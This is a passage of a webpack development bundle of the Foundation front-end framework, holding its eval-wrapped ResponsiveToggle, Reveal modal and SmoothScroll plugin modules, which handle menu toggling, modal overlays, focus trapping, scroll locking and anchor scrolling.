(!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n this.$element.show();\n this.$targetMenu.hide();\n } // Desktop\n else {\n this.$element.hide();\n this.$targetMenu.show();\n }\n }\n /**\n * Toggles the element attached to the tab bar. The toggle only happens if the screen is small enough to allow it.\n * @function\n * @fires ResponsiveToggle#toggled\n */\n\n }, {\n key: "toggleMenu",\n value: function toggleMenu() {\n var _this2 = this;\n\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n /**\n * Fires when the element attached to the tab bar toggles.\n * @event ResponsiveToggle#toggled\n */\n if (this.options.animate) {\n if (this.$targetMenu.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateIn(this.$targetMenu, this.animationIn, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n\n _this2.$targetMenu.find(\'[data-mutate]\').triggerHandler(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateOut(this.$targetMenu, this.animationOut, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n });\n }\n } else {\n this.$targetMenu.toggle(0);\n this.$targetMenu.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n this.$element.trigger(\'toggled.zf.responsiveToggle\');\n }\n }\n }\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.responsiveToggle\');\n this.$toggler.off(\'.zf.responsiveToggle\');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'changed.zf.mediaquery\', this._updateMqHandler);\n }\n }]);\n\n return ResponsiveToggle;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveToggle.defaults = {\n /**\n * The breakpoint after which the menu is always shown, and the tab bar is hidden.\n * @option\n * @type {string}\n * @default \'medium\'\n */\n hideFor: \'medium\',\n\n /**\n * To decide if the toggle should be animated or not.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveToggle.js?')},"./js/foundation.reveal.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Reveal\", function() { return Reveal; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\n/**\n * Reveal module.\n * @module foundation.reveal\n * @requires foundation.util.keyboard\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion if using animations\n */\n\nvar Reveal =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Reveal, _Plugin);\n\n function Reveal() {\n _classCallCheck(this, Reveal);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Reveal).apply(this, arguments));\n }\n\n _createClass(Reveal, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of Reveal.\n * @class\n * @name Reveal\n * @param {jQuery} element - jQuery object to use for the modal.\n * @param {Object} options - optional parameters.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Reveal.defaults, this.$element.data(), options);\n this.className = 'Reveal'; // ie9 back compat\n\n this._init(); // Triggers init is idempotent, just need to make sure it is initialized\n\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__[\"Triggers\"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].register('Reveal', {\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the modal by adding the overlay and close buttons, (if selected).\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n var _this2 = this;\n\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"]._init();\n\n this.id = this.$element.attr('id');\n this.isActive = false;\n this.cached = {\n mq: _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"].current\n };\n this.$anchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")).length ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-toggle=\\\"\".concat(this.id, \"\\\"]\"));\n this.$anchor.attr({\n 'aria-controls': this.id,\n 'aria-haspopup': true,\n 'tabindex': 0\n });\n\n if (this.options.fullScreen || this.$element.hasClass('full')) {\n this.options.fullScreen = true;\n this.options.overlay = false;\n }\n\n if (this.options.overlay && !this.$overlay) {\n this.$overlay = this._makeOverlay(this.id);\n }\n\n this.$element.attr({\n 'role': 'dialog',\n 'aria-hidden': true,\n 'data-yeti-box': this.id,\n 'data-resize': this.id\n });\n\n if (this.$overlay) {\n this.$element.detach().appendTo(this.$overlay);\n } else {\n this.$element.detach().appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo));\n this.$element.addClass('without-overlay');\n }\n\n this._events();\n\n if (this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n this.onLoadListener = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n return _this2.open();\n });\n }\n }\n /**\n * Creates an overlay div to display behind the modal.\n * @private\n */\n\n }, {\n key: \"_makeOverlay\",\n value: function _makeOverlay() {\n var additionalOverlayClasses = '';\n\n if (this.options.additionalOverlayClasses) {\n additionalOverlayClasses = ' ' + this.options.additionalOverlayClasses;\n }\n\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('
    ').addClass('reveal-overlay' + additionalOverlayClasses).appendTo(this.options.appendTo);\n }\n /**\n * Updates position of modal\n * TODO: Figure out if we actually need to cache these values or if it doesn't matter\n * @private\n */\n\n }, {\n key: \"_updatePosition\",\n value: function _updatePosition() {\n var width = this.$element.outerWidth();\n var outerWidth = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).width();\n var height = this.$element.outerHeight();\n var outerHeight = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height();\n var left,\n top = null;\n\n if (this.options.hOffset === 'auto') {\n left = parseInt((outerWidth - width) / 2, 10);\n } else {\n left = parseInt(this.options.hOffset, 10);\n }\n\n if (this.options.vOffset === 'auto') {\n if (height > outerHeight) {\n top = parseInt(Math.min(100, outerHeight / 10), 10);\n } else {\n top = parseInt((outerHeight - height) / 4, 10);\n }\n } else if (this.options.vOffset !== null) {\n top = parseInt(this.options.vOffset, 10);\n }\n\n if (top !== null) {\n this.$element.css({\n top: top + 'px'\n });\n } // only worry about left if we don't have an overlay or we have a horizontal offset,\n // otherwise we're perfectly in the middle\n\n\n if (!this.$overlay || this.options.hOffset !== 'auto') {\n this.$element.css({\n left: left + 'px'\n });\n this.$element.css({\n margin: '0px'\n });\n }\n }\n /**\n * Adds event handlers for the modal.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this3 = this;\n\n var _this = this;\n\n this.$element.on({\n 'open.zf.trigger': this.open.bind(this),\n 'close.zf.trigger': function closeZfTrigger(event, $element) {\n if (event.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default()(event.target).parents('[data-closable]')[0] === $element) {\n // only close reveal when it's explicitly called\n return _this3.close.apply(_this3);\n }\n },\n 'toggle.zf.trigger': this.toggle.bind(this),\n 'resizeme.zf.trigger': function resizemeZfTrigger() {\n _this._updatePosition();\n }\n });\n\n if (this.options.closeOnClick && this.options.overlay) {\n this.$overlay.off('.zf.reveal').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.deepLink) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\"hashchange.zf.reveal:\".concat(this.id), this._handleState.bind(this));\n }\n }\n /**\n * Handles modal methods on back/forward button clicks or any other event that triggers hashchange.\n * @private\n */\n\n }, {\n key: \"_handleState\",\n value: function _handleState(e) {\n if (window.location.hash === '#' + this.id && !this.isActive) {\n this.open();\n } else {\n this.close();\n }\n }\n /**\n * Disables the scroll when Reveal is shown to prevent the background from shifting\n * @param {number} scrollTop - Scroll to visually apply, window current scroll by default\n */\n\n }, {\n key: \"_disableScroll\",\n value: function _disableScroll(scrollTop) {\n scrollTop = scrollTop || jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", -scrollTop);\n }\n }\n /**\n * Reenables the scroll when Reveal closes\n * @param {number} scrollTop - Scroll to restore, html \"top\" property by default (as set by `_disableScroll`)\n */\n\n }, {\n key: \"_enableScroll\",\n value: function _enableScroll(scrollTop) {\n scrollTop = scrollTop || parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", \"\");\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop(-scrollTop);\n }\n }\n /**\n * Opens the modal controlled by `this.$anchor`, and closes all others by default.\n * @function\n * @fires Reveal#closeme\n * @fires Reveal#open\n */\n\n }, {\n key: \"open\",\n value: function open() {\n var _this4 = this;\n\n // either update or replace browser history\n var hash = \"#\".concat(this.id);\n\n if (this.options.deepLink && window.location.hash !== hash) {\n if (window.history.pushState) {\n if (this.options.updateHistory) {\n window.history.pushState({}, '', hash);\n } else {\n window.history.replaceState({}, '', hash);\n }\n } else {\n window.location.hash = hash;\n }\n } // Remember anchor that opened it to set focus back later, have general anchors as fallback\n\n\n this.$activeAnchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement).is(this.$anchor) ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement) : this.$anchor;\n this.isActive = true; // Make elements invisible, but remove display: none so we can get size and positioning\n\n this.$element.css({\n 'visibility': 'hidden'\n }).show().scrollTop(0);\n\n if (this.options.overlay) {\n this.$overlay.css({\n 'visibility': 'hidden'\n }).show();\n }\n\n this._updatePosition();\n\n this.$element.hide().css({\n 'visibility': ''\n });\n\n if (this.$overlay) {\n this.$overlay.css({\n 'visibility': ''\n }).hide();\n\n if (this.$element.hasClass('fast')) {\n this.$overlay.addClass('fast');\n } else if (this.$element.hasClass('slow')) {\n this.$overlay.addClass('slow');\n }\n }\n\n if (!this.options.multipleOpened) {\n /**\n * Fires immediately before the modal opens.\n * Closes any other modals that are currently open\n * @event Reveal#closeme\n */\n this.$element.trigger('closeme.zf.reveal', this.id);\n }\n\n this._disableScroll();\n\n var _this = this; // Motion UI method of reveal\n\n\n if (this.options.animationIn) {\n var afterAnimation = function afterAnimation() {\n _this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n\n _this._addGlobalClasses();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(_this.$element);\n };\n\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$overlay, 'fade-in');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$element, this.options.animationIn, function () {\n if (_this4.$element) {\n // protect against object having been removed\n _this4.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(_this4.$element);\n afterAnimation();\n }\n });\n } // jQuery method of reveal\n else {\n if (this.options.overlay) {\n this.$overlay.show(0);\n }\n\n this.$element.show(this.options.showDelay);\n } // handle accessibility\n\n\n this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(this.$element);\n\n this._addGlobalClasses();\n\n this._addGlobalListeners();\n /**\n * Fires when the modal has successfully opened.\n * @event Reveal#open\n */\n\n\n this.$element.trigger('open.zf.reveal');\n }\n /**\n * Adds classes and listeners on document required by open modals.\n *\n * The following classes are added and updated:\n * - `.is-reveal-open` - Prevents the scroll on document\n * - `.zf-has-scroll` - Displays a disabled scrollbar on document if required like if the\n * scroll was not disabled. This prevent a \"shift\" of the page content due\n * the scrollbar disappearing when the modal opens.\n *\n * @private\n */\n\n }, {\n key: \"_addGlobalClasses\",\n value: function _addGlobalClasses() {\n var updateScrollbarClass = function updateScrollbarClass() {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').toggleClass('zf-has-scroll', !!(jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()));\n };\n\n this.$element.on('resizeme.zf.trigger.revealScrollbarListener', function () {\n return updateScrollbarClass();\n });\n updateScrollbarClass();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').addClass('is-reveal-open');\n }\n /**\n * Removes classes and listeners on document that were required by open modals.\n * @private\n */\n\n }, {\n key: \"_removeGlobalClasses\",\n value: function _removeGlobalClasses() {\n this.$element.off('resizeme.zf.trigger.revealScrollbarListener');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('is-reveal-open');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('zf-has-scroll');\n }\n /**\n * Adds extra event handlers for the body and window if necessary.\n * @private\n */\n\n }, {\n key: \"_addGlobalListeners\",\n value: function _addGlobalListeners() {\n var _this = this;\n\n if (!this.$element) {\n return;\n } // If we're in the middle of cleanup, don't freak out\n\n\n this.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(this.$element);\n\n if (!this.options.overlay && this.options.closeOnClick && !this.options.fullScreen) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('keydown.zf.reveal', function (e) {\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].handleKey(e, 'Reveal', {\n close: function close() {\n if (_this.options.closeOnEsc) {\n _this.close();\n }\n }\n });\n });\n }\n }\n /**\n * Closes the modal.\n * @function\n * @fires Reveal#closed\n */\n\n }, {\n key: \"close\",\n value: function close() {\n if (!this.isActive || !this.$element.is(':visible')) {\n return false;\n }\n\n var _this = this; // Motion UI method of hiding\n\n\n if (this.options.animationOut) {\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$overlay, 'fade-out');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$element, this.options.animationOut, finishUp);\n } // jQuery method of hiding\n else {\n this.$element.hide(this.options.hideDelay);\n\n if (this.options.overlay) {\n this.$overlay.hide(0, finishUp);\n } else {\n finishUp();\n }\n } // Conditionals to remove extra event listeners added on open\n\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('keydown.zf.reveal');\n }\n\n if (!this.options.overlay && this.options.closeOnClick) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').off('click.zf.reveal');\n }\n\n this.$element.off('keydown.zf.reveal');\n\n function finishUp() {\n // Get the current top before the modal is closed and restore the scroll after.\n // TODO: use component properties instead of HTML properties\n // See https://github.com/zurb/foundation-sites/pull/10786\n var scrollTop = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n _this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].releaseFocus(_this.$element);\n\n _this.$element.attr('aria-hidden', true);\n\n _this._enableScroll(scrollTop);\n /**\n * Fires when the modal is done closing.\n * @event Reveal#closed\n */\n\n\n _this.$element.trigger('closed.zf.reveal');\n }\n /**\n * Resets the modal content\n * This prevents a running video to keep going in the background\n */\n\n\n if (this.options.resetOnClose) {\n this.$element.html(this.$element.html());\n }\n\n this.isActive = false; // If deepLink and we did not switched to an other modal...\n\n if (_this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n // Remove the history hash\n if (window.history.replaceState) {\n var urlWithoutHash = window.location.pathname + window.location.search;\n\n if (this.options.updateHistory) {\n window.history.pushState({}, '', urlWithoutHash); // remove the hash\n } else {\n window.history.replaceState('', document.title, urlWithoutHash);\n }\n } else {\n window.location.hash = '';\n }\n }\n\n this.$activeAnchor.focus();\n }\n /**\n * Toggles the open/closed state of a modal.\n * @function\n */\n\n }, {\n key: \"toggle\",\n value: function toggle() {\n if (this.isActive) {\n this.close();\n } else {\n this.open();\n }\n }\n }, {\n key: \"_destroy\",\n\n /**\n * Destroys an instance of a modal.\n * @function\n */\n value: function _destroy() {\n if (this.options.overlay) {\n this.$element.appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo)); // move $element outside of $overlay to prevent error unregisterPlugin()\n\n this.$overlay.hide().off().remove();\n }\n\n this.$element.hide().off();\n this.$anchor.off('.zf');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\".zf.reveal:\".concat(this.id));\n if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n }\n }]);\n\n return Reveal;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nReveal.defaults = {\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationIn: '',\n\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationOut: '',\n\n /**\n * Time, in ms, to delay the opening of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n showDelay: 0,\n\n /**\n * Time, in ms, to delay the closing of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n hideDelay: 0,\n\n /**\n * Allows a click on the body/overlay to close the modal.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allows the modal to close if the user presses the `ESCAPE` key.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnEsc: true,\n\n /**\n * If true, allows multiple modals to be displayed at once.\n * @option\n * @type {boolean}\n * @default false\n */\n multipleOpened: false,\n\n /**\n * Distance, in pixels, the modal should push down from the top of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n vOffset: 'auto',\n\n /**\n * Distance, in pixels, the modal should push in from the side of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n hOffset: 'auto',\n\n /**\n * Allows the modal to be fullscreen, completely blocking out the rest of the view. JS checks for this as well.\n * @option\n * @type {boolean}\n * @default false\n */\n fullScreen: false,\n\n /**\n * Allows the modal to generate an overlay div, which will cover the view when modal opens.\n * @option\n * @type {boolean}\n * @default true\n */\n overlay: true,\n\n /**\n * Allows the modal to remove and reinject markup on close. Should be true if using video elements w/o using provider's api, otherwise, videos will continue to play in the background.\n * @option\n * @type {boolean}\n * @default false\n */\n resetOnClose: false,\n\n /**\n * Link the location hash to the modal.\n * Set the location hash when the modal is opened/closed, and open/close the modal when the location changes.\n * @option\n * @type {boolean}\n * @default false\n */\n deepLink: false,\n\n /**\n * If `deepLink` is enabled, update the browser history with the open modal\n * @option\n * @default false\n */\n updateHistory: false,\n\n /**\n * Allows the modal to append to custom div.\n * @option\n * @type {string}\n * @default \"body\"\n */\n appendTo: \"body\",\n\n /**\n * Allows adding additional class names to the reveal overlay.\n * @option\n * @type {string}\n * @default ''\n */\n additionalOverlayClasses: ''\n};\n\n\n//# sourceURL=webpack:///./js/foundation.reveal.js?")},"./js/foundation.smoothScroll.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SmoothScroll", function() { return SmoothScroll; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n/**\n * SmoothScroll module.\n * @module foundation.smooth-scroll\n */\n\nvar SmoothScroll =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(SmoothScroll, _Plugin);\n\n function SmoothScroll() {\n _classCallCheck(this, SmoothScroll);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(SmoothScroll).apply(this, arguments));\n }\n\n _createClass(SmoothScroll, [{\n key: "_setup",\n\n /**\n * Creates a new instance of SmoothScroll.\n * @class\n * @name SmoothScroll\n * @fires SmoothScroll#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, SmoothScroll.defaults, this.$element.data(), options);\n this.className = \'SmoothScroll\'; // ie9 back compat\n\n this._init();\n }\n /**\n * Initialize the SmoothScroll plugin\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var id = this.$element[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, \'smooth-scroll\');\n this.$element.attr({\n id: id\n });\n\n this._events();\n }\n /**\n * Initializes events for SmoothScroll.\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.on(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.on(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n /**\n * Handle the given event to smoothly scroll to the anchor pointed by the event target.\n * @param {*} e - event\n * @function\n * @private\n */\n\n }, {\n key: "_handleLinkClick",\n value: function _handleLinkClick(e) {\n var _this = this;\n\n // Follow the link if it does not point to an anchor.\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.currentTarget).is(\'a[href^="#"]\')) return;\n var arrival = e.currentTarget.getAttribute(\'href\');\n this._inTransition = true;\n SmoothScroll.scrollToLoc(arrival, this.options, function () {\n _this._inTransition = false;\n });\n e.preventDefault();\n }\n }, {\n key: "_destroy",\n\n /**\n * Destroys the SmoothScroll instance.\n * @function\n */\n value: function _destroy() {\n this.$element.off(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.off(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n }], [{\n key: "scrollToLoc",\n\n /**\n * Function to scroll to a given location on the page.\n * @param {String} loc - A properly formatted jQuery id selector. Example: \'#foo\'\n * @param {Object} options - The options to use.\n * @param {Function} callback - The callback function.\n * @static\n * @function\n */\n value: function scrollToLoc(loc) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : SmoothScroll.defaults;\n var callback = arguments.length > 2 ? arguments[2] : undefined;\n var $loc = jquery__WEBPACK_IMPORTED_MODULE_0___default()(loc); // Do nothing if target does not exist to prevent errors\n\n if (!$loc.length) return false;\n var 